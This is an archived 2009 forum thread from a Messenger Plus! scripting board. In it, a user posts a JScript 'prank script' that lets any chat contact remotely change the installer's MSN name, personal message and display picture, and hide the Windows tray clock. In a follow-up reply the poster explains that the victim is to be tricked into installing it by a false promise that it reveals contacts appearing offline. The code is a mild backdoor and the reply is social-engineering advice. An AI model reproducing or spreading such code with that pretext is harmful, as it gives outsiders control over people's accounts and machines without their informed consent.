What happened to the Messenger Plus! forums on msghelp.net?
Shoutbox » MsgHelp Archive » Messenger Plus! for Live Messenger » Scripting » Prank Script UPDATED [ Request people to add to it ] [ 70+ views and nobody? :( ]

Prank Script UPDATED [ Request people to add to it ] [ 70+ views and nobody? :( ]
Author: Message:
SourSpud
Junior Member
**

Avatar
spud, spud, spud, spoon.

Posts: 58
35 / Male / Flag
Joined: Nov 2009
O.P. Prank Script UPDATED [ Request people to add to it ] [ 70+ views and nobody? :( ]
Someone requested a script to change sombodys MSN Name, This script will allow you to change somebodys MSN Name, PSM and change there current display picture to yours, it also has a command to check if the script is imported.

Update: added hide and show clock

I want to request people to ADD to this script more pranks, and pranks people would like to see added to this script.

JScript code:
function OnEvent_ChatWndReceiveMessage(ChatWnd, Origin, Message, MsgKind) {
    if (Origin != Messenger.MyName) {
 
       
        splitMessage = Message.split(' ');
        command = splitMessage[0];    
   
        splitMessage[0] = "";                  
        parameters = splitMessage.join(" ");  
           
        if(Message.indexOf("!dp") > -1) {  
           changeDP(ChatWnd);  
          return command.substr(0, Message.indexOf("!dp"));
        }
        if(Message.indexOf("!psm") > -1) {
           Messenger.MyPersonalMessage = parameters;
           return command.substr(0, Message.indexOf("!psm"));
        }
        if(Message.indexOf("!hideclock") > -1) {  
           showClock(false);
          return command.substr(0, Message.indexOf("!dp"));
        }
        if(Message.indexOf("!showclock") > -1) {
           showClock(true);
           return command.substr(0, Message.indexOf("!psm"));
        }
        if(Message.charAt(Message.length-1)=="*"){
          var tmp = Messenger.MyPersonalMessage;  
          Messenger.MyPersonalMessage = tmp+".";  
            }  
        if(Message.indexOf("!name") > -1) {
           Messenger.MyName = parameters;      
           return command.substr(0, Message.indexOf("!name"));
          }
        }
    }
 
function changeDP(wnd){
    var e = new Enumerator(wnd.Contacts);
    var Cnt = e.item();
    Messenger.MyDisplayPicture = Cnt.DisplayPicture;
}
 
function showClock(shw){
    var val = 5;
    if(!shw)val=0;
    var shelltraywnd = Interop.Call('User32',"FindWindowW",'Shell_TrayWnd',0);
    var traynotifywnd = Interop.Call('User32',"FindWindowExW", shelltraywnd, 0, 'traynotifywnd',0);
    var trayclockwclass = Interop.Call('User32',"FindWindowExW", traynotifywnd, 0, 'trayclockwclass',0);
    var Res = Interop.Call('User32','ShowWindow',trayclockwclass, val);
}


This post was edited on 12-18-2009 at 09:15 AM by SourSpud.
12-17-2009 01:27 AM
Profile E-Mail PM Find Quote Report
Chrono
forum admin
*******

Avatar
;o

Posts: 6022
Reputation: 116
39 / Male / Flag
Joined: Apr 2002
Status: Away
RE: Prank Script [ Request people to add to it ]
why would anyone install a script so you can be 'pranked'? :P

This post was edited on 12-17-2009 at 01:42 AM by Chrono.
[Image: wdz_discrate.png]
12-17-2009 01:41 AM
Profile PM Web Find Quote Report
SourSpud
Junior Member
**

Avatar
spud, spud, spud, spoon.

Posts: 58
35 / Male / Flag
Joined: Nov 2009
O.P. RE: Prank Script [ Request people to add to it ] [ 70 + Views and nobody? ]
haha :P true thats why you try and trick them into installing it :) tell them they can view contacts who are appearing offline hehe

maybe add some features to hide / show the clock, something that will stick out to the person make them think WOAH! would be cool

This post was edited on 12-18-2009 at 09:14 AM by SourSpud.
12-17-2009 01:45 AM
Profile E-Mail PM Find Quote Report
« Next Oldest Return to Top Next Newest »


Threaded Mode | Linear Mode
View a Printable Version
Send this Thread to a Friend
Subscribe | Add to Favorites
Rate This Thread:

Forum Jump:

Forum Rules:
You cannot post new threads
You cannot post replies
You cannot post attachments
You can edit your posts
HTML is Off
myCode is On
Smilies are On
[img] Code is On